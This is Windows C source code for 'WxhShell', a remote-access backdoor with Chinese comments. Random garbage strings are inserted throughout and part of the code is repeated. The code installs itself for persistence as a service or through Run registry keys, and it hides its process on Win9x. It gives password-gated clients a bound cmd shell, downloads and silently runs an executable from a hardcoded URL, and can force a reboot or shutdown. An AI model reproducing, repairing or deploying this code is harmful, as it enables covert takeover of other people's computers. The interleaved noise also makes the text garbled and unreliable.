"GetModuleBaseNameA"); G!`%.tH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zji9\ eLT3b6'"? if (!NtQueryInformationProcess) return 0; ~V(>L=\V; 6\l F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t_ CMsp if(!hProcess) return 0; #>_t[9; .;31G0<w2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u"5/QB{ ecm+33C CloseHandle(hProcess);
C2LG@iCIE iOm&(2/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3T(ft^~ if(hProcess==NULL) return 0; -0a3eg)Z* ;nh_L( HMODULE hMod; ],AtR1k char procName[255]; At>e4t2@ unsigned long cbNeeded; }vZfp5Y 2G|}ENC if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lYe2;bu K:XXtG CloseHandle(hProcess); fBTNI`# Nj4r[5K if(strstr(procName,"services")) return 1; // 以服务启动 "LYhYkI xe OfofC(l return 0; // 注册表启动 @/aJi6d"^E } bHq.3; j^/<:e c. // 主模块 *} *HXE5 int StartWxhshell(LPSTR lpCmdLine) y-@`3hYM@ { }#Up:o]A! SOCKET wsl; n{|j#j BOOL val=TRUE; yo5-x"ze int port=0; /p;OZf] struct sockaddr_in door; GQ
Flt_ k'.cl^6Z8 if(wscfg.ws_autoins) Install(); 'n{=`e(}cI (xfy?N port=atoi(lpCmdLine); 3I'7+?@@l :V"e+I if(port<=0) port=wscfg.ws_port; xz: xNY&*jI WSADATA data; TH>uL;?= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @6_w{6:b CZy!nR! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _7v4S/V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R(>
oyxA[F door.sin_family = AF_INET; X$%[%q8qg door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hj-n
'XZ door.sin_port = htons(port); y[f%0*\B l [ m_<1L if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S41S+#7t* closesocket(wsl); U0|wC,7" return 1; <_8eOL<X } <qoc)p=__ 1=_?Wg: if(listen(wsl,2) == INVALID_SOCKET) { cgcU2N6y; closesocket(wsl); 9R+ qw return 1; varaBFD } 1h]nE/T.O Wxhshell(wsl); ).Z
U0fV WSACleanup(); f U<<GK70 `)=sQ2P return 0; 1jK2*y \Pfm>$Ib= } L$Xkx03lz> 3DjX0Dx/l // 以NT服务方式启动 4d`f?8vS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ktY { DBfq9%J _ DWORD status = 0; *Ta
{ DWORD specificError = 0xfffffff; u<\Sf" fs 2zsDb'r serviceStatus.dwServiceType = SERVICE_WIN32; =?M{B1;H serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?YFSK serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o|KmKC n> serviceStatus.dwWin32ExitCode = 0; Fyz1LOH[X serviceStatus.dwServiceSpecificExitCode = 0; FLumI-se! serviceStatus.dwCheckPoint = 0; 8N<2RT8W serviceStatus.dwWaitHint = 0; .4z_ohe gf;B&MM6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fob.?ID-; if (hServiceStatusHandle==0) return; &)Vuh= T~lHm status = GetLastError(); _y [B/C,q if (status!=NO_ERROR) #cl|5jm+m# { IjPtJwW`A serviceStatus.dwCurrentState = SERVICE_STOPPED; QF.M%she+ serviceStatus.dwCheckPoint = 0; _Pw5n
mH c serviceStatus.dwWaitHint = 0; 1N.weey}W serviceStatus.dwWin32ExitCode = status; qpB8ujj<V serviceStatus.dwServiceSpecificExitCode = specificError; /u"K`y/*j\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); b5
AP{
# return; 2ak*aI } =VSUE
Pq *%]&5 serviceStatus.dwCurrentState = SERVICE_RUNNING; w`Cs, serviceStatus.dwCheckPoint = 0; {bNKyT serviceStatus.dwWaitHint = 0; n7#}i2: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R4f_Kio } -C*UB .A6Jj4`- // 处理NT服务事件,比如:启动、停止 ?Ql<s8 VOID WINAPI NTServiceHandler(DWORD fdwControl) |dqAT . { K}dvXO@=|c switch(fdwControl) C%P"\>5@ { x*_'uP oS case SERVICE_CONTROL_STOP: &K"qnng/y serviceStatus.dwWin32ExitCode = 0; O3L:v{Kn serviceStatus.dwCurrentState = SERVICE_STOPPED; GZiN&}5e serviceStatus.dwCheckPoint = 0; 0@jhNtL serviceStatus.dwWaitHint = 0; 3jM+j_nR { $Ehe8,=fj SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EvK.ORy } F$,i_7Z&6 return; ibuoq X` case SERVICE_CONTROL_PAUSE: dJ,,yA* serviceStatus.dwCurrentState = SERVICE_PAUSED; =W'{xG} break; y(6*)~Dh case SERVICE_CONTROL_CONTINUE: QL@}hw.F serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Vm)jnM break; 4V
5 case SERVICE_CONTROL_INTERROGATE: ?Hf8<C} 3 break; @3Mp>u/ }; <QRRD*\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); /s`8=+\9 } ~hQTxLp Q[% +y. // 标准应用程序主函数 \4 hB1- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =@ed{~ { $@ZrGT Cbr>\;sc2Z // 获取操作系统版本 '_M"yg6d OsIsNt=GetOsVer(); :&=`xAX- GetModuleFileName(NULL,ExeFile,MAX_PATH); k
3oR: \yo)oIi[p // 从命令行安装 7,D6RP(b if(strpbrk(lpCmdLine,"iI")) Install(); >KCnmi R` >z>!) // 下载执行文件 }woNI if(wscfg.ws_downexe) { .5YW>P V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {#TZFB WinExec(wscfg.ws_filenam,SW_HIDE); ~&8bVA= . } ~i9'9PHX@ 0bI}
s`sr if(!OsIsNt) { CDDOm8 // 如果时win9x,隐藏进程并且设置为注册表启动 ]n&Eb88 HideProc(); d7!, StartWxhshell(lpCmdLine); :J;*]o: } {$qLMx'; else +m1y#|08 if(StartFromService()) v^Pjvv = // 以服务方式启动 LLW\1 cxi StartServiceCtrlDispatcher(DispatchTable); r|0wIpi6Q else :"~n`
Q2[ // 普通方式启动 C1SCV^# StartWxhshell(lpCmdLine); $n9Bp'< {P
$sQv return 0; 5>"X?U}He } OOX[xv!b ^@AIXBe ]c$)0O\O ;{K/W.R =========================================== [<A|\d'x 2VA mL7) Jhr3[A DH{^9HK ycSC'R g/e2t=qP " |$.`4h? tFYod# #include <stdio.h> Jz6zJKcA #include <string.h> v?qU/ #include <windows.h> T!Eyq,] #include <winsock2.h> "~ eF%}. #include <winsvc.h> `\#J&N #include <urlmon.h> {G4{4D } yM*f}S/
( #pragma comment (lib, "Ws2_32.lib") rIZ^ix-N #pragma comment (lib, "urlmon.lib") ).9m6.%Uk ^|ln q.j #define MAX_USER 100 // 最大客户端连接数 4 .d~u@= #define BUF_SOCK 200 // sock buffer 6]5e(J{Fz #define KEY_BUFF 255 // 输入 buffer +*ZF52hy| zDx*R3% #define REBOOT 0 // 重启 };s8xGW:k3 #define SHUTDOWN 1 // 关机 7xy[; 1;N5@0%p #define DEF_PORT 5000 // 监听端口 E [b6k&A 1|/]bffg!c #define REG_LEN 16 // 注册表键长度 iF'qaqHWY4 #define SVC_LEN 80 // NT服务名长度 !1cVg
ls| "kg;fF| // 从dll定义API Tg|/UUn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [5sa1$n96G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s'yT}XQ;r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b1ma(8{{{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3"y,UtKGa Ht=h9}x"g // wxhshell配置信息 }D\i1/Y struct WSCFG { `hE@S |4 int ws_port; // 监听端口 W"*~1$vf char ws_passstr[REG_LEN]; // 口令 ,"EgYd8-' int ws_autoins; // 安装标记, 1=yes 0=no 86<[!ZM char ws_regname[REG_LEN]; // 注册表键名 -"MB(` char ws_svcname[REG_LEN]; // 服务名 }0z]sYI char ws_svcdisp[SVC_LEN]; // 服务显示名 t}q\. char ws_svcdesc[SVC_LEN]; // 服务描述信息 kKEs >a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s2ixiv= int ws_downexe; // 下载执行标记, 1=yes 0=no c&a.<e3mL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b?{ \t; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 < k?jt ?kKr/f4N }; U>=&
2Z2? Z_}[hz$ // default Wxhshell configuration >%{H>?Hn struct WSCFG wscfg={DEF_PORT, (nLT8{>0 "xuhuanlingzhe", `M.\ D 1, t,vj)|: "Wxhshell", S1D=' k] "Wxhshell", <9jN4hV "WxhShell Service", 1xzOD@=dI "Wrsky Windows CmdShell Service", n/jZi54gO "Please Input Your Password: ", yITL;dBy 1, U9eb&nd "http://www.wrsky.com/wxhshell.exe", aokV'6 "Wxhshell.exe" &yN/AY`U }; HH3Ln+AWg_ 7ajkp+E6 // 消息定义模块 WG=~GDS> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vp
j[)W%L char *msg_ws_prompt="\n\r? for help\n\r#>"; + Ssu^>D char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r}Ec_0_lt char *msg_ws_ext="\n\rExit."; !au%D?w char *msg_ws_end="\n\rQuit."; l6#ms!e char *msg_ws_boot="\n\rReboot..."; |VxO ,[~ char *msg_ws_poff="\n\rShutdown..."; )CM3vL { char *msg_ws_down="\n\rSave to "; ?KMGk]_< 1sN >U< char *msg_ws_err="\n\rErr!"; _q<Ke/ char *msg_ws_ok="\n\rOK!"; 1'Y7h;\~\ QdtGFY4f, char ExeFile[MAX_PATH]; &h_do8R int nUser = 0; B A(PWX`H HANDLE handles[MAX_USER]; y|(C L^( int OsIsNt; eB,eu4+- ?vr9l7VOi SERVICE_STATUS serviceStatus; hX&Jq%{oa SERVICE_STATUS_HANDLE hServiceStatusHandle; UK!PMkX T i!<{> // 函数声明 g6p:1;Evf int Install(void); n0rAOkW int Uninstall(void); '&42E[0P int DownloadFile(char *sURL, SOCKET wsh);
gUtxyW int Boot(int flag); `@)>5gW&p void HideProc(void); 9~ JeI / int GetOsVer(void); E/IoYuB int Wxhshell(SOCKET wsl); +xG void TalkWithClient(void *cs); Kp)H>~cL int CmdShell(SOCKET sock); R-lpsvDDL2 int StartFromService(void); uEX+j int StartWxhshell(LPSTR lpCmdLine); ?&rt)/DV, M'-Z" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V4>qR{5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hu-Y[~9^L: LCouDk(=` // 数据结构和表定义 q9iHJ'lMD* SERVICE_TABLE_ENTRY DispatchTable[] = MQvk&
AX { !5zDnv {wscfg.ws_svcname, NTServiceMain}, F*rsi7#!pG {NULL, NULL} -}$mv }; a7YzX5n 09L"~:rg // 自我安装 Q$XNs%7w5, int Install(void) (N
0kTi]b { gof'NT\c char svExeFile[MAX_PATH]; %&Q9WMo HKEY key; JNk6:j&Pf strcpy(svExeFile,ExeFile); *iwVB^^$ ILyI%DA & // 如果是win9x系统,修改注册表设为自启动
q-|j
= if(!OsIsNt) { =s5g9n+7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;VW->ia6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nC 2e^=^ RegCloseKey(key); &&$,BFY4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TcKt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PqVz^(Wz RegCloseKey(key); N6UPD11}6 return 0; ` 5lW } uZhY)o*]@ } cf`g.9pjlx } _ISaO
C{2- else { wJMk%N~R: 5R}K8"d // 如果是NT以上系统,安装为系统服务 m]D3ec\K' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ScCA8JgY if (schSCManager!=0) u|{(m_"H { CEHtr90P SC_HANDLE schService = CreateService B+r$_L&I ( x*7Q schSCManager, @/f'i9?oM` wscfg.ws_svcname, `% ulorS wscfg.ws_svcdisp, f@7HVv& SERVICE_ALL_ACCESS, u}QcyG^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U"L7G$ SERVICE_AUTO_START, MR3\7D+9y SERVICE_ERROR_NORMAL, *-\qO.4\ svExeFile, 3$f+3/l NULL, $rV4JROb NULL, pr?k~Bn NULL, ;]\>jC NULL, I3,0vnE@ NULL rm?C_ ); UVlh7w jg if (schService!=0) 8_:j.(n { Jk>!I\ CloseServiceHandle(schService); G<:gNWXd\ CloseServiceHandle(schSCManager); `)WC|= w2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M7gb3gw6 strcat(svExeFile,wscfg.ws_svcname); *F;W 1TF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <19A= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _MLbJ RegCloseKey(key); v9
*WM3 return 0; L"Dos + } .Q5zmaA] } )j\9IdkU;y CloseServiceHandle(schSCManager); T-a[ } XmAun } FaQz03N\ z0T9tN!( return 1; E]dc4US } qe2@bG%2+F twP%+/g]< // 自我卸载 }Yargj_Gn int Uninstall(void) \]|(w*C { 0`KR8# A@ HKEY key; )o`[wq 6]NaP_\0 if(!OsIsNt) { rd1EA|T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3-v&ktD&N' RegDeleteValue(key,wscfg.ws_regname); dJ.up*aR RegCloseKey(key); 6`WI
S4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mi)h<lY RegDeleteValue(key,wscfg.ws_regname); 8DGPA RegCloseKey(key); r)|6H"n#]S return 0; 8e"MP\0V
} 6Wk9"?+1 } noZ!j>f{@l } e:+[}I) else { Rrw6\iO 8DkZ@} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o3cE.YUF if (schSCManager!=0) PS$g*x { 0iI|eE o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M3!4,_!~ if (schService!=0) {HbSty { ^;'FC vd if(DeleteService(schService)!=0) { Xmw%f[Xl CloseServiceHandle(schService); Jp"[` m CloseServiceHandle(schSCManager); Vy 7 )_D return 0; 45Lzq6 } 3FG'A[x3O CloseServiceHandle(schService); hdDL92JVg } )(+q~KA} CloseServiceHandle(schSCManager); _sAcvKH } sL],@z8<k } {RN-rF3w sB0m^Y' return 1; JH._/I
} 3}5Ya\x s0m k<>z // 从指定url下载文件 /HVxZ2bar int DownloadFile(char *sURL, SOCKET wsh) dlH&8 { N{H#j6QW HRESULT hr; Yy0U2N[i char seps[]= "/"; 8Om4G]*|, char *token; XwIhD char *file;
PckAL char myURL[MAX_PATH]; R>hL.+l. char myFILE[MAX_PATH]; k>F>y|m \3T[Cy|5| strcpy(myURL,sURL); /^$n&gI token=strtok(myURL,seps); PQ 2rNY6 while(token!=NULL) a
y$CUw { pfQ3Y$z file=token; qRL45[ K token=strtok(NULL,seps); Ac'pu,v } gjzU%{T? ',!>9Dj GetCurrentDirectory(MAX_PATH,myFILE); !NMiWG4R strcat(myFILE, "\\"); D< 0))r strcat(myFILE, file); VV"w{#XKw send(wsh,myFILE,strlen(myFILE),0); 1L%$\0B4hm send(wsh,"...",3,0); :cKdl[E4z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {g 4`>^; if(hr==S_OK) 9B/iQCFtj$ return 0; 7c83g2|% else F_@?'#m return 1; vi]cl=S 63QF1*gPH } Q@[ (0R1 U~w8yMxX // 系统电源模块 KGGJ\r6 int Boot(int flag) $!^C|,CS { +5Ju `Z HANDLE hToken; U$WGe >, TOKEN_PRIVILEGES tkp; S8O,{ @M6F?; if(OsIsNt) { qfqL"G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fo~>y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Qt9MO`a tkp.PrivilegeCount = 1; : . PRM+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nF]zd%h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dEkAUH if(flag==REBOOT) { 9\uBX.]x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SPm2I(at7 return 0; N]-skz<v } pJIJ"o'>.9 else { thz[h5C?C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +Jm[IN return 0; "q
KVGd } :q~5Xw/ } M\RHFTB<C else { D^6Q`o if(flag==REBOOT) { '7g]@Q7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o5:md :\ return 0; .)<l69ZD Z } i(kx'ua? else { )4N1EuD6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -@@
O<M^ return 0; @"H7Q1Hg!* } LI<Emez } |.;]e[& WWC&-Ni return 1;
WJ,? 5# } 7a=ul: >">Xd@Wk // win9x进程隐藏模块 "{Hl! Zq/ void HideProc(void) 6}~k4;'}A { Dl,sl>{
yYrFk^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FAX[|p if ( hKernel != NULL ) |T]&8Q)S { ia,5=SKJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {`-AIlH( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^]Q.V FreeLibrary(hKernel); n5)ml)m } Nw(hN+_u e,d}4 jy return; rjj_]1?K } qJ2Z5 bYqv)_8 // 获取操作系统版本 KzQFG)q , int GetOsVer(void) +3sbpl2} { ?9>wG7cps7 OSVERSIONINFO winfo; hQ@#h`lS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =yoR>llbBC GetVersionEx(&winfo); fs-LaV
0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #l@P}sHXq return 1; Jfo'iNOu else rz&'wCiOO return 0; 947;6a%$ } FM(EOsWk EhW"s%Q // 客户端句柄模块 unKl5A[h int Wxhshell(SOCKET wsl) 5ArgM% { y4$$*oai& SOCKET wsh; W*DKpJy struct sockaddr_in client; jatlv/, DWORD myID; *$`N5;7'` !"&-k:|g while(nUser<MAX_USER) z30 mk { Dr[;\/|# int nSize=sizeof(client); oI'& &Bt wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m )rVzL if(wsh==INVALID_SOCKET) return 1; '.<c[Mp FP}I+Ys handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -~4r6ZcA if(handles[nUser]==0) `'>~(8&zE closesocket(wsh); "6U@e0ht else !uO@4]:Y nUser++; Dsn=fht } [@JK|50|K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `9gV8u #sBL E return 0; *wY+yoj } m#i4_F=^b WPAUY<6f // 关闭 socket nB5\ocJ void CloseIt(SOCKET wsh) <SQR"; { .MRN)p closesocket(wsh); fR~0Fy Gp nUser--; x
DNu' ExitThread(0); x X[WX#'f } GQk/ G0*& Pk;yn; // 客户端请求句柄 x}Lj|U$r<X void TalkWithClient(void *cs) 4nP4F+ { *s-s1v `LLmdm 6i SOCKET wsh=(SOCKET)cs; 4o;;'P char pwd[SVC_LEN]; <8Tp]1z char cmd[KEY_BUFF]; e`H>}O/ai char chr[1]; <[-{:dH,5 int i,j; d>W#c8X> Y`{62J8oy while (nUser < MAX_USER) { ^Y;,cLXJ qV idtSb if(wscfg.ws_passstr) { Z2`M8xEiH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RticGQy&5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T3<1{"& //ZeroMemory(pwd,KEY_BUFF); je2"D7D i=0; q~5zv4NX while(i<SVC_LEN) { wIR"!C>LE E>i<2 // 设置超时 iAk.pH]a fd_set FdRead; 4 qY struct timeval TimeOut; q5hE S FD_ZERO(&FdRead); tKcC{ FD_SET(wsh,&FdRead); MUv#8{+F'/ TimeOut.tv_sec=8; ]+m2pEO TimeOut.tv_usec=0; 1 I.P7_/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =T6 ~89 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _yR_u+5 L@=$0p41; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lF.kAEC pwd=chr[0]; 6__!M if(chr[0]==0xd || chr[0]==0xa) { *` wz pwd=0; =[!(s/+>L break; 3(|,:"9g } SiaW; ks i++; #.*w) } (`E`xb@E,= "u^vBd[} // 如果是非法用户,关闭 socket .I_<\h7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3@ Fa } 4r~K`)/S' mI DVN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Iy4%,8C]g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tJ6Q7
J;n #}@8(>T while(1) { f~Pce||e DUl+Jqn4B ZeroMemory(cmd,KEY_BUFF); ::#[lw M&29J // 自动支持客户端 telnet标准 N[\J#x!U j=0; K$qY^oyQFw while(j<KEY_BUFF) { Hd\oV^>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Og}_ cmd[j]=chr[0]; +a|Q)Ob if(chr[0]==0xa || chr[0]==0xd) { X])iQyN cmd[j]=0; 5psJv|Zo] break; Wu|MNB?M } )D/,QWk j++; u=W[ S)w } F@q9UlfB- G,$nq4 // 下载文件 umq6X8K if(strstr(cmd,"http://")) { I}|a7,8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;ZAwf0~ if(DownloadFile(cmd,wsh)) Z:N;>.3i send(wsh,msg_ws_err,strlen(msg_ws_err),0); Op]*wwI*h else C,eP!_O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FNF `Z } K/N{F\ else { Lhux~,EH Xy K, switch(cmd[0]) { oNPvks dC; KU(BY}/ ^ // 帮助 [Z:P{yr case '?': { 3fQ`}OcNr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .|go$}Fk break; ?G',Qtz<K } c,;VnZ
9wC // 安装 PcT] case 'i': { H9ES|ZJs if(Install()) g3[-[G^5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); LkzA_|8:D else wS9V@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IaSPwsvt' break; XPMUhozV } <2 [vR|Q* // 卸载 rm3/R< case 'r': { 5,^DT15a4P if(Uninstall()) }`QZV_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); XtZd%
#2}, else -o"b$[sf=Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F::Ki4{jJ break; aBaiXv/* } ;-py h( // 显示 wxhshell 所在路径 sBI/`dGZV case 'p': { 08^f|K char svExeFile[MAX_PATH]; >Q@y8*E\F strcpy(svExeFile,"\n\r"); YV|_y:- strcat(svExeFile,ExeFile); ETU-6qFtO send(wsh,svExeFile,strlen(svExeFile),0); +l)t5Mg\ break; q#c+%,Z=C } j~ds)dW%`& // 重启 ySiZ@i4 case 'b': { PZJn/A1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,GVX1B? if(Boot(REBOOT)) C|Gk} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ._]Pz6 else { hV,T889'
closesocket(wsh); QbHX.:C ExitThread(0); )O+Zbn } l(Hz9 break; JK!`uG+v } |+HJ>xA4I // 关机 hVB(*WA^D case 'd': { sDg1nKw( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZEDvY=@a if(Boot(SHUTDOWN)) 3D@3jyo: send(wsh,msg_ws_err,strlen(msg_ws_err),0); aizws[C else { [75?cQD closesocket(wsh); 9@"pR;X@ ExitThread(0); }8}`A\dgV } d42Y` Wu break; C"5P7F{ } x5\D u63 // 获取shell ; (}~m&p case 's': { _fn7-&6 CmdShell(wsh); v36Z*I6)5 closesocket(wsh); Io
IhQ ExitThread(0); 5$:9nPAH break; alzdYiGf } f0^s<:* // 退出 KfVsnL_ case 'x': { ;q%z\gA send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l0t(t*[Mj CloseIt(wsh); SnUR?k1 break; -:r<sv$ } E+<GsN] // 离开 |"Zf0G case 'q': { T?A3f]U send(wsh,msg_ws_end,strlen(msg_ws_end),0); lq3D!+m closesocket(wsh); dJrUcZBr WSACleanup(); b=sY%(2s exit(1); j$6Q]5KdoS break; 8"d??3ZXJ } oVp/EQ } `wj' } YE*|KL^ o>+ mw| { // 提示信息 u~FVI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i-wWbZ- } P =Q+VIP& } Qof%j@ tG9C(D`G return; 1VG]|6f } W79.Nj2` `h :!^"G // shell模块句柄 Cq<Lj int CmdShell(SOCKET sock) {=J: { Fx1FxwIJ STARTUPINFO si; F+BCzsm7$ ZeroMemory(&si,sizeof(si)); OA}; pQ9QN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pih 0ME}z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c}),yQ|!: PROCESS_INFORMATION ProcessInfo; ]^wr+9zd char cmdline[]="cmd"; Jwj=a1I 53 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x}WP1YyT~ return 0; ld|GY>rH } 74
)G.! t3^`:T\ // 自身启动模式 D(<0tU^[ int StartFromService(void) >P} XCAU { V)5,E>;EN typedef struct Lq.2vfA> { w<]-~`K DWORD ExitStatus; -U_,RMw~ DWORD PebBaseAddress; k5Q1.;fW76 DWORD AffinityMask; 7cB{Iq0+ DWORD BasePriority; SfY9PNck\ ULONG UniqueProcessId; !.pcldx ULONG InheritedFromUniqueProcessId; c`S+>: } PROCESS_BASIC_INFORMATION; "s zJ[
_B :w|=o9J PROCNTQSIP NtQueryInformationProcess; /$\8?<Pc". Z1$U[Tsd static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b&_Ifx_YF static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ml?KnSb fiU#\%uJg HANDLE hProcess; }F9#3W&`c PROCESS_BASIC_INFORMATION pbi; DaGny0|BB BKE ?o^03 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {=gJGP/}_ if(NULL == hInst ) return 0; F)imeu gk5Gf
l g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H=Cj/jE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H*f2fyC1\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /S~ =qodS [[N${ C if (!NtQueryInformationProcess) return 0; cuy9QBB
: -^7
$HD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2cGiE{ if(!hProcess) return 0; >O~V#1 H eq&QWxiD* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R(P(G;#j @8A[HP CloseHandle(hProcess); Q^@7Yg@l o"A)t= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gsa@ci if(hProcess==NULL) return 0; a+~b3 BxQ,T@ HMODULE hMod; _X=6M
